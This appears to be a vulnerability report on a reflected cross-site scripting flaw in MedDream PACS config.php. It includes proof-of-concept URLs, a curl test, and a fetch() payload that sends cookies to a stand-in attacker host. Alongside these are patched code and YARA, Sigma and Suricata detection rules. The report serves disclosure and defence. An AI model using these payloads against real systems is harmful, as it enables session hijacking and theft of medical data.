CVE-2025-58095

Executive Summary

CVE-2025-58095 identifies multiple reflected cross-site scripting (XSS) vulnerabilities in the config.php functionality of MedDream PACS Premium version 7.3.6.870. The vulnerability is triggered via the imagedir parameter, allowing an attacker to inject arbitrary JavaScript code through specially crafted malicious URLs. With a CVSS score of 6.1 (Medium), this issue poses a significant risk to healthcare environments where MedDream PACS is deployed, potentially enabling session hijacking, data exfiltration, or further compromise of the PACS server. As of this report, no official patch is available, and the vendor has not released a security advisory.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone web application vulnerability in MedDream PACS Premium, a proprietary medical imaging software.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a crafted link)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires user interaction but can lead to arbitrary JavaScript execution in the context of the PACS application, potentially exposing sensitive medical data or enabling session hijacking.

Deep Dive & Mechanics

The vulnerability resides in the config.php script of MedDream PACS Premium. The imagedir parameter is not properly sanitized or encoded before being reflected in the HTTP response. An attacker can craft a URL such as:

https://target-pacs-server/config.php?imagedir="><script>alert('XSS')</script>

When a victim (e.g., a radiologist or administrator) clicks this link, the injected script executes in their browser. This can be used to steal session cookies, redirect to malicious sites, or perform actions on behalf of the victim.

The root cause is the lack of output encoding or input validation for the imagedir parameter. The application likely echoes the parameter value directly into the HTML without proper escaping.

Vulnerable vs. Patched Code

Vulnerable Code (config.php):

<?php
$imagedir = $_GET['imagedir'];
echo "<input type='hidden' name='imagedir' value='" . $imagedir . "'>";
?>

Patched Code (hypothetical):

<?php
$imagedir = htmlspecialchars($_GET['imagedir'], ENT_QUOTES, 'UTF-8');
echo "<input type='hidden' name='imagedir' value='" . $imagedir . "'>";
?>

The patched version uses htmlspecialchars() to encode special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable MedDream PACS instance (version 7.3.6.870)
• A web browser or tool like curl to craft the malicious URL

Exploitation Steps:

1. Identify the target PACS server (e.g., https://pacs.example.com).
2. Craft a malicious URL:

   https://pacs.example.com/config.php?imagedir="><script>alert(document.cookie)</script>
   

3. Send the URL to a victim (e.g., via email or phishing).
4. When the victim clicks the link, the JavaScript executes, displaying their cookies.

Advanced Payload:

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Proof of Concept (PoC) using curl:

curl -v "https://pacs.example.com/config.php?imagedir=%22%3E%3Cscript%3Ealert(1)%3C/script%3E"

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests to /config.php with suspicious imagedir parameters containing <script> or onerror tags.
• Use WAF rules to block XSS patterns in query strings.

Mitigation:

• Apply input validation and output encoding (see Remediation).
• Restrict access to config.php via IP whitelisting or authentication.
• Educate users about phishing attacks targeting PACS systems.

Indicators of Compromise (IOCs)

• URL Pattern: */config.php?imagedir=* containing HTML/JavaScript tags
• Log Entries: HTTP requests with imagedir parameter containing <script>, onerror, onload, or similar XSS vectors
• Network Traffic: Outbound connections from the victim's browser to attacker-controlled domains (e.g., for cookie exfiltration)
• File Hashes: N/A (no file-based IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_58095_XSS_MedDream {
    meta:
        description = "Detects XSS attempts targeting MedDream PACS config.php imagedir parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-58095"
    strings:
        $xss1 = /config\.php\?imagedir=.*<script/i
        $xss2 = /config\.php\?imagedir=.*onerror/i
        $xss3 = /config\.php\?imagedir=.*onload/i
        $xss4 = /config\.php\?imagedir=.*alert/i
    condition:
        any of them
}

Sigma Rule

title: MedDream PACS XSS via imagedir Parameter
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects reflected XSS attempts against MedDream PACS config.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains: 
            - "config.php?imagedir="
            - "<script"
            - "onerror"
            - "onload"
    condition: selection
falsepositives:
    - Legitimate use of imagedir parameter with non-malicious values
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-58095 MedDream PACS XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/config.php"; http_uri; content:"imagedir="; http_uri; pcre:"/imagedir=.*(<script|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Sanitize the imagedir parameter to allow only expected characters (e.g., alphanumeric, slashes, dots).
2. Output Encoding: Use htmlspecialchars() or equivalent to encode output in config.php.
3. Web Application Firewall (WAF): Deploy WAF rules to block XSS patterns in query strings.
4. Access Control: Restrict access to config.php to trusted IPs or require authentication.

Long-Term Fix:

• Contact MedDream for an official patch or upgrade to a non-vulnerable version.
• Conduct a security audit of the entire PACS application for similar issues.

Workaround:

• If patching is not possible, consider disabling or removing config.php if not essential.

Valters IT signature: This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.